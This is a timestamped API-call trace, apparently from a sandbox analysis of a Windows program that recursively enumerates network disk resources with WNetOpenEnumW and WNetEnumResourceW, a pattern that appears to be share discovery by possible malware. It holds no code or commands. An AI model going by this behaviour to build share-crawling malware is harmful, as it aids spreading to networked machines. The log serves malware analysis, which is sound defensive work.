	[0266.398] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3892028
	[0266.399] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3820108, lphEnum=0x371e9dc | out: lphEnum=0x371e9dc*=0x64b590) returned 0x0
	[0266.540] WNetEnumResourceW (in: hEnum=0x64b590, lpcCount=0x371e9e4, lpBuffer=0x382c120, lpBufferSize=0x371e9d4 | out: lpcCount=0x371e9e4, lpBuffer=0x382c120, lpBufferSize=0x371e9d4) returned 0x0
	[0266.540] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3830128
	[0266.540] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x38a2030
	[0266.540] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x382c120, lphEnum=0x371e99c | out: lphEnum=0x371e99c*=0x688b18) returned 0x0
	[0266.569] WNetEnumResourceW (in: hEnum=0x688b18, lpcCount=0x371e9a4, lpBuffer=0x3830128, lpBufferSize=0x371e994 | out: lpcCount=0x371e9a4, lpBuffer=0x3830128, lpBufferSize=0x371e994) returned 0x0
	[0266.569] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3834130
	[0266.569] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x38b2038
	[0266.570] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3830128, lphEnum=0x371e95c | out: lphEnum=0x371e95c*=0x688d28) returned 0x0
	[0266.630] WNetEnumResourceW (in: hEnum=0x688d28, lpcCount=0x371e964, lpBuffer=0x3834130, lpBufferSize=0x371e954 | out: lpcCount=0x371e964, lpBuffer=0x3834130, lpBufferSize=0x371e954) returned 0x0
	[0266.630] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x38180f8
	[0266.630] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x38c2040
	[0266.631] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3834130, lphEnum=0x371e91c | out: lphEnum=0x371e91c*=0x688858) returned 0x0
	[0266.741] WNetEnumResourceW (in: hEnum=0x688858, lpcCount=0x371e924, lpBuffer=0x38180f8, lpBufferSize=0x371e914 | out: lpcCount=0x371e924, lpBuffer=0x38180f8, lpBufferSize=0x371e914) returned 0x0
	[0266.741] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3824110
	[0266.741] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x38d2048
	[0266.741] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x38180f8, lphEnum=0x371e8dc | out: lphEnum=0x371e8dc*=0x688b70) returned 0x0
	[0266.753] WNetEnumResourceW (in: hEnum=0x688b70, lpcCount=0x371e8e4, lpBuffer=0x3824110, lpBufferSize=0x371e8d4 | out: lpcCount=0x371e8e4, lpBuffer=0x3824110, lpBufferSize=0x371e8d4) returned 0x0
	[0266.753] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3838138
	[0266.753] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x38e2050
	[0266.754] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3824110, lphEnum=0x371e89c | out: lphEnum=0x371e89c*=0x688a68) returned 0x0
	[0266.762] WNetEnumResourceW (in: hEnum=0x688a68, lpcCount=0x371e8a4, lpBuffer=0x3838138, lpBufferSize=0x371e894 | out: lpcCount=0x371e8a4, lpBuffer=0x3838138, lpBufferSize=0x371e894) returned 0x0
	[0266.762] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x381c100
	[0266.762] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x38f2058
	[0266.762] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3838138, lphEnum=0x371e85c | out: lphEnum=0x371e85c*=0x688ac0) returned 0x0
	[0266.780] WNetEnumResourceW (in: hEnum=0x688ac0, lpcCount=0x371e864, lpBuffer=0x381c100, lpBufferSize=0x371e854 | out: lpcCount=0x371e864, lpBuffer=0x381c100, lpBufferSize=0x371e854) returned 0x0
	[0266.780] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x383c140
	[0266.780] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3902060
	[0266.780] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x381c100, lphEnum=0x371e81c | out: lphEnum=0x371e81c*=0x688e88) returned 0x0
	[0266.789] WNetEnumResourceW (in: hEnum=0x688e88, lpcCount=0x371e824, lpBuffer=0x383c140, lpBufferSize=0x371e814 | out: lpcCount=0x371e824, lpBuffer=0x383c140, lpBufferSize=0x371e814) returned 0x0
	[0266.789] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3840148
	[0266.789] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3912068
	[0266.790] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x383c140, lphEnum=0x371e7dc | out: lphEnum=0x371e7dc*=0x688dd8) returned 0x0
	[0266.799] WNetEnumResourceW (in: hEnum=0x688dd8, lpcCount=0x371e7e4, lpBuffer=0x3840148, lpBufferSize=0x371e7d4 | out: lpcCount=0x371e7e4, lpBuffer=0x3840148, lpBufferSize=0x371e7d4) returned 0x0
	[0266.799] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3844150
	[0266.799] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3922070
	[0266.800] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3840148, lphEnum=0x371e79c | out: lphEnum=0x371e79c*=0x688ee0) returned 0x0
	[0266.807] WNetEnumResourceW (in: hEnum=0x688ee0, lpcCount=0x371e7a4, lpBuffer=0x3844150, lpBufferSize=0x371e794 | out: lpcCount=0x371e7a4, lpBuffer=0x3844150, lpBufferSize=0x371e794) returned 0x0
	[0266.807] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3848158
	[0266.807] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3932078
	[0266.808] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3844150, lphEnum=0x371e75c | out: lphEnum=0x371e75c*=0x688c78) returned 0x0
	[0266.811] WNetEnumResourceW (in: hEnum=0x688c78, lpcCount=0x371e764, lpBuffer=0x3848158, lpBufferSize=0x371e754 | out: lpcCount=0x371e764, lpBuffer=0x3848158, lpBufferSize=0x371e754) returned 0x0
	[0266.811] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x384c160
	[0266.811] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3942080
	[0266.812] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3848158, lphEnum=0x371e71c | out: lphEnum=0x371e71c*=0x688a10) returned 0x0
	[0266.815] WNetEnumResourceW (in: hEnum=0x688a10, lpcCount=0x371e724, lpBuffer=0x384c160, lpBufferSize=0x371e714 | out: lpcCount=0x371e724, lpBuffer=0x384c160, lpBufferSize=0x371e714) returned 0x0
	[0266.815] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x39560b8
	[0266.817] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3994008
	[0266.817] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x384c160, lphEnum=0x371e6dc | out: lphEnum=0x371e6dc*=0x688f38) returned 0x0
	[0266.824] WNetEnumResourceW (in: hEnum=0x688f38, lpcCount=0x371e6e4, lpBuffer=0x39560b8, lpBufferSize=0x371e6d4 | out: lpcCount=0x371e6e4, lpBuffer=0x39560b8, lpBufferSize=0x371e6d4) returned 0x0
	[0266.824] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x395a0c0
	[0266.824] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x39a4010
	[0266.825] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x39560b8, lphEnum=0x371e69c | out: lphEnum=0x371e69c*=0x688bc8) returned 0x0
	[0266.837] WNetEnumResourceW (in: hEnum=0x688bc8, lpcCount=0x371e6a4, lpBuffer=0x395a0c0, lpBufferSize=0x371e694 | out: lpcCount=0x371e6a4, lpBuffer=0x395a0c0, lpBufferSize=0x371e694) returned 0x0
	[0266.837] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x39520b0
	[0266.837] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x39b4018
	[0266.838] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x395a0c0, lphEnum=0x371e65c | out: lphEnum=0x371e65c*=0x688e30) returned 0x0
	[0266.992] WNetEnumResourceW (in: hEnum=0x688e30, lpcCount=0x371e664, lpBuffer=0x39520b0, lpBufferSize=0x371e654 | out: lpcCount=0x371e664, lpBuffer=0x39520b0, lpBufferSize=0x371e654) returned 0x0
	[0266.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x39620d0
	[0266.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x39c4020
	[0266.993] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x39520b0, lphEnum=0x371e61c | out: lphEnum=0x371e61c*=0x688800) returned 0x0
	[0267.088] WNetEnumResourceW (in: hEnum=0x688800, lpcCount=0x371e624, lpBuffer=0x39620d0, lpBufferSize=0x371e614 | out: lpcCount=0x371e624, lpBuffer=0x39620d0, lpBufferSize=0x371e614) returned 0x0
	[0267.088] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x397a100
	[0267.088] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x39d4028
	[0267.088] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x39620d0, lphEnum=0x371e5dc | out: lphEnum=0x371e5dc*=0x688c20) returned 0x0
	[0267.098] WNetEnumResourceW (in: hEnum=0x688c20, lpcCount=0x371e5e4, lpBuffer=0x397a100, lpBufferSize=0x371e5d4 | out: lpcCount=0x371e5e4, lpBuffer=0x397a100, lpBufferSize=0x371e5d4) returned 0x0
	[0267.098] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x39660d8
	[0267.098] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x39e4030
	[0267.098] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x397a100, lphEnum=0x371e59c | out: lphEnum=0x371e59c*=0x688960) returned 0x0
	[0267.103] WNetEnumResourceW (in: hEnum=0x688960, lpcCount=0x371e5a4, lpBuffer=0x39660d8, lpBufferSize=0x371e594 | out: lpcCount=0x371e5a4, lpBuffer=0x39660d8, lpBufferSize=0x371e594) returned 0x0
	[0267.103] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x396e0e8
	[0267.103] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x39f4038
	[0267.103] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x39660d8, lphEnum=0x371e55c | out: lphEnum=0x371e55c*=0x6889b8) returned 0x0
	[0267.132] WNetEnumResourceW (in: hEnum=0x6889b8, lpcCount=0x371e564, lpBuffer=0x396e0e8, lpBufferSize=0x371e554 | out: lpcCount=0x371e564, lpBuffer=0x396e0e8, lpBufferSize=0x371e554) returned 0x0
	[0267.132] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x395e0c8
	[0267.132] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3a04040
	[0267.132] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x396e0e8, lphEnum=0x371e51c | out: lphEnum=0x371e51c*=0x688cd0) returned 0x0
	[0267.136] WNetEnumResourceW (in: hEnum=0x688cd0, lpcCount=0x371e524, lpBuffer=0x395e0c8, lpBufferSize=0x371e514 | out: lpcCount=0x371e524, lpBuffer=0x395e0c8, lpBufferSize=0x371e514) returned 0x0
	[0267.136] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x39760f8
	[0267.136] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3a14048
	[0267.137] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x395e0c8, lphEnum=0x371e4dc | out: lphEnum=0x371e4dc*=0x688d80) returned 0x0
	[0267.167] WNetEnumResourceW (in: hEnum=0x688d80, lpcCount=0x371e4e4, lpBuffer=0x39760f8, lpBufferSize=0x371e4d4 | out: lpcCount=0x371e4e4, lpBuffer=0x39760f8, lpBufferSize=0x371e4d4) returned 0x0
	[0267.167] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3986118
	[0267.167] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3a24050
	[0267.168] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x39760f8, lphEnum=0x371e49c | out: lphEnum=0x371e49c*=0x6888b0) returned 0x0
	[0267.172] WNetEnumResourceW (in: hEnum=0x6888b0, lpcCount=0x371e4a4, lpBuffer=0x3986118, lpBufferSize=0x371e494 | out: lpcCount=0x371e4a4, lpBuffer=0x3986118, lpBufferSize=0x371e494) returned 0x0
	[0267.172] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x396a0e0
	[0267.172] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3a34058
	[0267.172] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3986118, lphEnum=0x371e45c | out: lphEnum=0x371e45c*=0x688908) returned 0x0
	[0267.180] WNetEnumResourceW (in: hEnum=0x688908, lpcCount=0x371e464, lpBuffer=0x396a0e0, lpBufferSize=0x371e454 | out: lpcCount=0x371e464, lpBuffer=0x396a0e0, lpBufferSize=0x371e454) returned 0x0
	[0267.180] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x398e128
	[0267.180] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3a44060
	[0267.181] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x396a0e0, lphEnum=0x371e41c | out: lphEnum=0x371e41c*=0x66ede8) returned 0x0
	[0267.188] WNetEnumResourceW (in: hEnum=0x66ede8, lpcCount=0x371e424, lpBuffer=0x398e128, lpBufferSize=0x371e414 | out: lpcCount=0x371e424, lpBuffer=0x398e128, lpBufferSize=0x371e414) returned 0x0
	[0267.188] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x39720f0
	[0267.188] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3a54068
	[0267.188] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x398e128, lphEnum=0x371e3dc | out: lphEnum=0x371e3dc*=0x66f208) returned 0x0
	[0267.203] WNetEnumResourceW (in: hEnum=0x66f208, lpcCount=0x371e3e4, lpBuffer=0x39720f0, lpBufferSize=0x371e3d4 | out: lpcCount=0x371e3e4, lpBuffer=0x39720f0, lpBufferSize=0x371e3d4) returned 0x0
	[0267.203] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3982110
	[0267.203] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3a64070
	[0267.204] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x39720f0, lphEnum=0x371e39c | out: lphEnum=0x371e39c*=0x66ec88) returned 0x0
	[0267.214] WNetEnumResourceW (in: hEnum=0x66ec88, lpcCount=0x371e3a4, lpBuffer=0x3982110, lpBufferSize=0x371e394 | out: lpcCount=0x371e3a4, lpBuffer=0x3982110, lpBufferSize=0x371e394) returned 0x0
	[0267.214] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x398a120
	[0267.214] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3a74078
	[0267.214] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3982110, lphEnum=0x371e35c | out: lphEnum=0x371e35c*=0x66ece0) returned 0x0
	[0267.270] WNetEnumResourceW (in: hEnum=0x66ece0, lpcCount=0x371e364, lpBuffer=0x398a120, lpBufferSize=0x371e354 | out: lpcCount=0x371e364, lpBuffer=0x398a120, lpBufferSize=0x371e354) returned 0x0
	[0267.270] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x397e108
	[0267.270] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3a84080
	[0267.270] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x398a120, lphEnum=0x371e31c | out: lphEnum=0x371e31c*=0x66eef0) returned 0x0
	[0267.277] WNetEnumResourceW (in: hEnum=0x66eef0, lpcCount=0x371e324, lpBuffer=0x397e108, lpBufferSize=0x371e314 | out: lpcCount=0x371e324, lpBuffer=0x397e108, lpBufferSize=0x371e314) returned 0x0
	[0267.277] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3a9c0c0
	[0267.279] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3ad6008
	[0267.279] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x397e108, lphEnum=0x371e2dc | out: lphEnum=0x371e2dc*=0x66f2b8) returned 0x0
	[0267.289] WNetEnumResourceW (in: hEnum=0x66f2b8, lpcCount=0x371e2e4, lpBuffer=0x3a9c0c0, lpBufferSize=0x371e2d4 | out: lpcCount=0x371e2e4, lpBuffer=0x3a9c0c0, lpBufferSize=0x371e2d4) returned 0x0
	[0267.290] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3aa00c8
	[0267.290] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3ae6010
	[0267.290] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3a9c0c0, lphEnum=0x371e29c | out: lphEnum=0x371e29c*=0x66f050) returned 0x0
	[0267.328] WNetEnumResourceW (in: hEnum=0x66f050, lpcCount=0x371e2a4, lpBuffer=0x3aa00c8, lpBufferSize=0x371e294 | out: lpcCount=0x371e2a4, lpBuffer=0x3aa00c8, lpBufferSize=0x371e294) returned 0x0
	[0267.328] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3aac0e0
	[0267.328] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3af6018
	[0267.328] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3aa00c8, lphEnum=0x371e25c | out: lphEnum=0x371e25c*=0x66e868) returned 0x0
	[0267.412] WNetEnumResourceW (in: hEnum=0x66e868, lpcCount=0x371e264, lpBuffer=0x3aac0e0, lpBufferSize=0x371e254 | out: lpcCount=0x371e264, lpBuffer=0x3aac0e0, lpBufferSize=0x371e254) returned 0x0
	[0267.412] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3aa40d0
	[0267.412] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3b06020
	[0267.413] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3aac0e0, lphEnum=0x371e21c | out: lphEnum=0x371e21c*=0x66e918) returned 0x0
	[0267.417] WNetEnumResourceW (in: hEnum=0x66e918, lpcCount=0x371e224, lpBuffer=0x3aa40d0, lpBufferSize=0x371e214 | out: lpcCount=0x371e224, lpBuffer=0x3aa40d0, lpBufferSize=0x371e214) returned 0x0
	[0267.418] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3a940b0
	[0267.418] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3b20048
	[0267.419] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3aa40d0, lphEnum=0x371e1dc | out: lphEnum=0x371e1dc*=0x66eb80) returned 0x0
	[0267.423] WNetEnumResourceW (in: hEnum=0x66eb80, lpcCount=0x371e1e4, lpBuffer=0x3a940b0, lpBufferSize=0x371e1d4 | out: lpcCount=0x371e1e4, lpBuffer=0x3a940b0, lpBufferSize=0x371e1d4) returned 0x0
	[0267.423] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3ab00e8
	[0267.423] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3b30050
	[0267.424] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3a940b0, lphEnum=0x371e19c | out: lphEnum=0x371e19c*=0x66ead0) returned 0x0
	[0267.428] WNetEnumResourceW (in: hEnum=0x66ead0, lpcCount=0x371e1a4, lpBuffer=0x3ab00e8, lpBufferSize=0x371e194 | out: lpcCount=0x371e1a4, lpBuffer=0x3ab00e8, lpBufferSize=0x371e194) returned 0x0
	[0267.428] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3aa80d8
	[0267.428] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3b40058
	[0267.429] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ab00e8, lphEnum=0x371e15c | out: lphEnum=0x371e15c*=0x66e9c8) returned 0x0
	[0267.454] WNetEnumResourceW (in: hEnum=0x66e9c8, lpcCount=0x371e164, lpBuffer=0x3aa80d8, lpBufferSize=0x371e154 | out: lpcCount=0x371e164, lpBuffer=0x3aa80d8, lpBufferSize=0x371e154) returned 0x0
	[0267.455] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3ab40f0
	[0267.455] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3b50060
	[0267.455] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3aa80d8, lphEnum=0x371e11c | out: lphEnum=0x371e11c*=0x66efa0) returned 0x0
	[0267.545] WNetEnumResourceW (in: hEnum=0x66efa0, lpcCount=0x371e124, lpBuffer=0x3ab40f0, lpBufferSize=0x371e114 | out: lpcCount=0x371e124, lpBuffer=0x3ab40f0, lpBufferSize=0x371e114) returned 0x0
	[0267.545] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3a980b8
	[0267.545] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3b60068
	[0267.546] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ab40f0, lphEnum=0x371e0dc | out: lphEnum=0x371e0dc*=0x66f158) returned 0x0
	[0267.575] WNetEnumResourceW (in: hEnum=0x66f158, lpcCount=0x371e0e4, lpBuffer=0x3a980b8, lpBufferSize=0x371e0d4 | out: lpcCount=0x371e0e4, lpBuffer=0x3a980b8, lpBufferSize=0x371e0d4) returned 0x0
	[0267.575] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3abc100
	[0267.575] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3b70070
	[0267.575] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3a980b8, lphEnum=0x371e09c | out: lphEnum=0x371e09c*=0x66ed38) returned 0x0
	[0267.584] WNetEnumResourceW (in: hEnum=0x66ed38, lpcCount=0x371e0a4, lpBuffer=0x3abc100, lpBufferSize=0x371e094 | out: lpcCount=0x371e0a4, lpBuffer=0x3abc100, lpBufferSize=0x371e094) returned 0x0
	[0267.584] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3ac0108
	[0267.584] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3b80078
	[0267.584] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3abc100, lphEnum=0x371e05c | out: lphEnum=0x371e05c*=0x66f1b0) returned 0x0
	[0267.590] WNetEnumResourceW (in: hEnum=0x66f1b0, lpcCount=0x371e064, lpBuffer=0x3ac0108, lpBufferSize=0x371e054 | out: lpcCount=0x371e064, lpBuffer=0x3ac0108, lpBufferSize=0x371e054) returned 0x0
	[0267.590] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3ac4110
	[0267.590] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3b90080
	[0267.591] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ac0108, lphEnum=0x371e01c | out: lphEnum=0x371e01c*=0x66e970) returned 0x0
	[0267.596] WNetEnumResourceW (in: hEnum=0x66e970, lpcCount=0x371e024, lpBuffer=0x3ac4110, lpBufferSize=0x371e014 | out: lpcCount=0x371e024, lpBuffer=0x3ac4110, lpBufferSize=0x371e014) returned 0x0
	[0267.596] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3ac8118
	[0267.596] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3ba0088
	[0267.597] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ac4110, lphEnum=0x371dfdc | out: lphEnum=0x371dfdc*=0x66ebd8) returned 0x0
	[0267.888] WNetEnumResourceW (in: hEnum=0x66ebd8, lpcCount=0x371dfe4, lpBuffer=0x3ac8118, lpBufferSize=0x371dfd4 | out: lpcCount=0x371dfe4, lpBuffer=0x3ac8118, lpBufferSize=0x371dfd4) returned 0x0
	[0267.888] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3acc120
	[0267.888] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3bb0090
	[0267.888] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ac8118, lphEnum=0x371df9c | out: lphEnum=0x371df9c*=0x66f100) returned 0x0
	[0268.003] WNetEnumResourceW (in: hEnum=0x66f100, lpcCount=0x371dfa4, lpBuffer=0x3acc120, lpBufferSize=0x371df94 | out: lpcCount=0x371dfa4, lpBuffer=0x3acc120, lpBufferSize=0x371df94) returned 0x0
	[0268.003] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3ab80f8
	[0268.003] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3bc0098
	[0268.004] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3acc120, lphEnum=0x371df5c | out: lphEnum=0x371df5c*=0x66ee40) returned 0x0
	[0268.075] WNetEnumResourceW (in: hEnum=0x66ee40, lpcCount=0x371df64, lpBuffer=0x3ab80f8, lpBufferSize=0x371df54 | out: lpcCount=0x371df64, lpBuffer=0x3ab80f8, lpBufferSize=0x371df54) returned 0x0
	[0268.075] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3ad0128
	[0268.075] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3bd00a0
	[0268.076] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ab80f8, lphEnum=0x371df1c | out: lphEnum=0x371df1c*=0x66ea20) returned 0x0
